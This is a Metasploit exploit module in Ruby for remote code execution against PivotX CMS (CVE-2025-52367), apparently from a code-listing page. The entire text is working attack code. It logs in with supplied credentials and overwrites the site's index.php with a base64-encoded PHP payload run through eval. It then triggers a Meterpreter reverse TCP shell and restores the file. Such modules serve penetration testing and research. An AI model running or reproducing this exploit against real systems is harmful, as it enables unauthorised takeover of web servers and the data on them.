1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Exploit::Remote::Tcp include Exploit::Remote::HttpClient
def initialize(info = {}) super( update_info( info, 'Name' => 'PivotX Remote Code Execution', 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Author' => [ 'HayToN', 'msutovsky-r7' ], 'References' => [ [ 'EDB', '52361' ], [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], [ 'CVE', '2025–52367'] ], 'Targets' => [ [ 'Linux', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2025-07-10', 'DefaultTarget' => 0,
'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('USERNAME', [ true, 'PivotX username', '' ]), OptString.new('PASSWORD', [true, 'PivotX password', '']), OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) ]) end
def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php') })
return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200
return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Exploit::CheckCode::Unknow, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable.") end
def login boundary = Rex::Text.rand_text_alphanumeric(16).to_s data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n" data_post << "\r\n" data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n" data_post << "\r\n" data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" data_post << "#{datastore['USERNAME']}\r\n" data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" data_post << "#{datastore['PASSWORD']}\r\n" data_post << "------WebKitFormBoundary#{boundary}\r\n"
res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'login' }, 'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}", 'data' => data_post, 'keep_cookies' => true })
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1) end
def modify_file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'homeexplore' } })
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'), 'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } })
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } })
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end
def trigger_payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php') }) end
def restore res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } }) vprint_status('Restoring original content') vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end
def exploit vprint_status('Logging in PivotX') login vprint_status('Modifying file and injecting payload') modify_file vprint_status('Triggering payload') trigger_payload restore end end
|